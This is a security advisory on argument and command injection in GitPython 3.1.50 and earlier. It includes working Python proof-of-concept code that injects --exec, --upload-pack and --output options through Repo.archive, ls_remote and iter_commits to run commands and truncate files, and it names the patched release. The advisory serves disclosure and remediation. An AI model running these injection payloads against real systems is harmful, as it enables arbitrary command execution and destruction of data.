high · 8.4Jul 21, 2026

GitPython Command Injection and Arbitrary File Overwrite via Unguarded Git Options

Rohit Hatagale
AI Security Researcher, SecureLayer7

GitPython 3.1.50 and earlier let callers pass dangerous Git options directly into several API methods with no safety check, enabling arbitrary command execution via Repo.archive() and git.ls_remote(),

PackageGitPython
Ecosystempip
Affected<= 3.1.50
Fixed in3.1.51

The problem

GitPython maintains a denylist of unsafe Git options and enforces it through `Git.check_unsafe_options()`. That check is wired into only four network-facing methods: `clone_from`, `Remote.fetch`, `Remote.pull`, and `Remote.push`.

Three other public APIs forward caller-controlled values into the Git argv with no guard at all. `Repo.archive(**kwargs)` passes keyword arguments verbatim as Git flags before the `--` separator, so options like `--remote` and `--exec` reach the subprocess unchecked. `repo.git.ls_remote(upload_pack=...)` uses the dynamic kwarg builder to produce `--upload-pack=<value>` with no validation. `Repo.iter_commits(rev)` and `Repo.blame(rev, file)` place the caller's `rev` positional before `--` with no leading-dash check, so a value like `--output=/path` is parsed by Git as a file-write flag.

Proof of concept

A working proof-of-concept for this issue in GitPython, with the exact payload below.

python
# PoC 1: RCE via Repo.archive (works under default Git config, no special setup)
import io, os, tempfile, subprocess, git

d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
                'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)

marker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')
if os.path.exists(marker): os.remove(marker)

# kwargs forwarded verbatim -> git archive --remote=. --exec='touch <marker>' -- HEAD
opts = {'remote': '.', 'exec': 'touch ' + marker}
try:
    repo.archive(io.BytesIO(), **opts)
except git.exc.GitCommandError:
    pass

print('[+] RCE marker present:', os.path.exists(marker))  # True

# PoC 2: RCE via ls_remote
repo.git.ls_remote('.', upload_pack='touch /tmp/gp_lsr_marker;')

# PoC 3: Arbitrary file truncation via iter_commits
victim = '/tmp/gp_fw_victim'
open(victim, 'w').write('do not delete\n')
try:
    list(repo.iter_commits('--output=' + victim))
except git.exc.GitCommandError:
    pass
print('[+] file truncated:', open(victim).read() == '')  # True

The root cause is scope: `check_unsafe_options()` exists and works, but it is called from only four call sites, all of them network commands. Every other method that builds a Git argv from caller input is unguarded.

For `Repo.archive`, `transform_kwarg()` dashifies Python keyword arguments into `--name=value` flags and inserts them before the `--` end-of-options marker. Passing `exec='<cmd>'` produces `git archive --remote=<repo> --exec=<cmd> -- HEAD`. Git's `archive --remote` invokes `git-upload-archive`; `--exec` overrides the helper binary path.

No `protocol.ext.allow` configuration is needed.

For `iter_commits` and `blame`, the `rev` argument lands before `--` with no leading-dash check. Git honours `--output=<file>` in `rev-list`, `log`, and `blame`, opening and truncating the target file before it validates the revision. The file is destroyed even though Git then errors out.

CWE-88 (Argument Injection) and CWE-77 (Command Injection) both apply.

The fix

Upgrade to GitPython 3.1.51 (commit 701ce32, PR #2163). The patch extends `check_unsafe_options()` coverage to `Repo.archive`, `ls_remote`, `iter_commits`, `blame`, and the general dynamic-command builder, and adds a leading-dash guard on positional `rev` arguments before the `--` separator.

Reporter not attributed.

References: [1][2][3][4][5]

Related research